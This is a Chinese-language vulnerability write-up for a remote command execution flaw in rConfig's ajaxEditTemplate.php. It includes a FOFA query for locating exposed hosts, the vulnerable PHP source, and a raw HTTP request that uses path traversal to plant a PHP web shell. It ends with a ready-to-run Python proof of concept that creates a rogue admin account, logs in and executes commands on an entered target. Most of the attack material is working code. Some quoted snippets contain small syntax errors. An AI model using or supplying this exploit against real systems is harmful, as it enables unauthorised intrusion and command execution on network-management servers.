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260 lines
9.5 KiB
Markdown
260 lines
9.5 KiB
Markdown
# rConfig ajaxEditTemplate.php 后台远程命令执行漏洞
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## 漏洞描述
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rConfig ajaxEditTemplate.php 存在后台远程命令执行
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## 漏洞影响
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```
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rConfig
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```
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## FOFA
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```
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app="rConfig"
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```
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## 漏洞复现
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漏洞文件为 **rconfig/www/lib/ajaxHandlers/ajaxEditTemplate.php**
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```php
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<?php
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require_once("/home/rconfig/classes/usersession.class.php");
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require_once("/home/rconfig/classes/ADLog.class.php");
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require_once("/home/rconfig/classes/spyc.class.php");
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require_once("/home/rconfig/config/functions.inc.php");
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$log = ADLog::getInstance();
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if (!$session->logged_in) {
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echo 'Don\'t bother trying to hack me!!!!!<br /> This hack attempt has been logged';
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$log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")");
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// need to add authentication to this script
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header("Location: " . $config_basedir . "login.php");
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} else {
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$ymlData = Spyc::YAMLLoad($_POST['code']);
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$fileName = $_POST['fileName'];
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$check_yml_extension = explode('.', $fileName);
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if(@!array_key_exists($check_yml_extension[1])){
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if(@$check_yml_extension[1] != 'yml'){
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$fileName = $fileName . '.yml';
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}
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}
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$fullpath = $config_templates_basedir.$fileName;
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$username = $_SESSION['username'];
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require_once("../../../classes/db2.class.php");
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require_once("../../../classes/ADLog.class.php");
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$db2 = new db2();
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$log = ADLog::getInstance();
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if (!is_dir('templates')) {
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mkdir('templates');
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chown('templates', 'apache');
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}
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// if'' to create the filename based on the command if not created & chmod to 666
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if (!file_exists($fullpath)) {
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exec("touch " . $fullpath);
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chmod($fullpath, 0666);
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}
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// if the file is alread in place chmod it to 666 before writing info
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chmod($fullpath, 0666);
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// dump array into file & chmod back to RO
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$filehandle = fopen($fullpath, 'w+');
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file_put_contents($fullpath, $_POST['code']);
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fclose($filehandle);
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chmod($fullpath, 0444);
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$db2->query("UPDATE `templates` SET `fileName` = :fileName, `name` = :name, `desc` = :desc, `dateLastEdit` = NOW(), `addedby` = :username WHERE `id` = :id");
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$db2->bind(':id', $_POST['id']);
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$db2->bind(':fileName', $fullpath);
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$db2->bind(':name', $ymlData['main']['name']);
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$db2->bind(':desc', $ymlData['main']['desc']);
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$db2->bind(':username', $username);
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$queryResult = $db2->execute();
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/* Update successful */
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if ($queryResult && file_exists($fullpath)) {
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$response = "success";
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$log->Info("Success: Template: ".$fullpath." edited in templates folder");
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}
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/* Update failed */ else {
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$response = "failed";
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$log->Warn("Success: Could not edit Template ".$fullpath." in templates folder");
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}
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echo json_encode($response);
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} // end session check
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```
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关键代码如下
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```php
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// if'' to create the filename based on the command if not created & chmod to 666
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if (!file_exists($fullpath)) {
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exec("touch " . $fullpath);
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chmod($fullpath, 0666);
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}
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// if the file is alread in place chmod it to 666 before writing info
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chmod($fullpath, 0666);
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// dump array into file & chmod back to RO
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$filehandle = fopen($fullpath, 'w+');
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file_put_contents($fullpath, $_POST['code']);
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fclose($filehandle);
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chmod($fullpath, 0444;
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```
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$fileName --> $fullpath ---> 写入文件，其中 fileName参数 POST传入时没有过滤导致目录可上传任意位置
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```php
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$ymlData = Spyc::YAMLLoad($_POST['code']);
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$fileName = $_POST['fileName'];
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$check_yml_extension = explode('.', $fileName);
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if(@!array_key_exists($check_yml_extension[1])){
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if(@$check_yml_extension[1] != 'yml'){
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$fileName = $fileName . '.yml';
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}
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}
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$fullpath = $config_templates_basedir+ .$fileName;
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```
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```php
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$filehandle = fopen($fullpath, 'w+');
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file_put_contents($fullpath, $_POST['code']);
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```
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POST code 传参写入文件 test.php.yml, 请求包如下
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```plain
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POST /lib/ajaxHandlers/ajaxEditTemplate.php HTTP/1.1
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Host:
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Cookie: PHPSESSID=fv8j4c6r4gofug1vr9v3efdvj7
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Content-Length: 81
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Cache-Control: max-age=0
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Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
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Sec-Ch-Ua-Mobile: ?0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Origin: https://176.62.195.243
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Content-Type: application/x-www-form-urlencoded
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: https://176.62.195.243/lib/ajaxHandlers/ajaxEditTemplate.php
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fileName=../www/test.php&code=<?php echo system('id');?>&id=1
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```
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这里写入文件 **test.php.yml**,并使用 **../** 跳出限制的目录，访问 test.php.yml 实际访问了 test.php，执行id命令
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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from requests_toolbelt.multipart.encoder import MultipartEncoder
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: rConfig ajaxEditTemplate.php 后台远程命令执行 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/lib/crud/userprocess.php"
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referer = target_url + "useradmin.php"
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ran_number = random.randint(1, 999)
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origin = target_url
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multipart_data = MultipartEncoder(
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fields={
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'username': 'testtest{}'.format(ran_number),
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'password': 'testtest@{}'.format(ran_number),
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'passconf': 'testtest@{}'.format(ran_number),
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'email': 'testtest{}@test.com'.format(ran_number),
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'ulevelid': '9',
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'add': 'add',
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'editid': ''
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}
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)
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headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
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"Origin": origin}
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cookies = {'PHPSESSID': 'test'}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
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if "error" not in response.text:
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username = 'testtest{}'.format(ran_number)
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password = 'testtest@{}'.format(ran_number)
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print("\033[36m[o] 成功创建账户 testtest{}/testtest@{} \033[0m".format(ran_number, ran_number))
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POC_2(target_url, username, password)
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else:
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print("\033[31m[x] 创建失败:{} \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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def POC_2(target_url, username, password):
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print("\033[36m[o] 正在登陆账户..... \033[0m")
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vuln_url = target_url + "/lib/crud/userprocess.php"
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headers = {
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'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8",
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"Referer": target_url + "deviceConnTemplates.php",
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"Origin": target_url,
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"X-Requested-With": "XMLHttpRequest",
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"Accept-Language": "en-US,en;q=0.5"
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}
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data = {
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'user': username,
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'pass': password,
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'sublogin': '1'
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}
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try:
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在尝试执行 id....\033[0m")
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with requests.Session() as s:
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p = s.post(target_url + '/lib/crud/userprocess.php', data=data, verify=False)
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if "Stephen Stack" in p.text:
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print("\033[31m[x] 登录失败 \033[0m")
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else:
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data = "fileName=..%2Fwww%2Ftest.php&code=%3C%3Fphp+echo+system%28%27id%27%29%3B%3F%3E&id=1"
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rce = s.post(target_url + '/lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=data,
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headers=headers)
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if "success" in rce.text:
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response = s.get(target_url + '/test.php.yml', verify=False)
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print("\033[36m[o] 成功执行 id, 响应为:\n{} \033[0m".format(response.text))
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else:
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print("\033[31m[x] 请求失败 \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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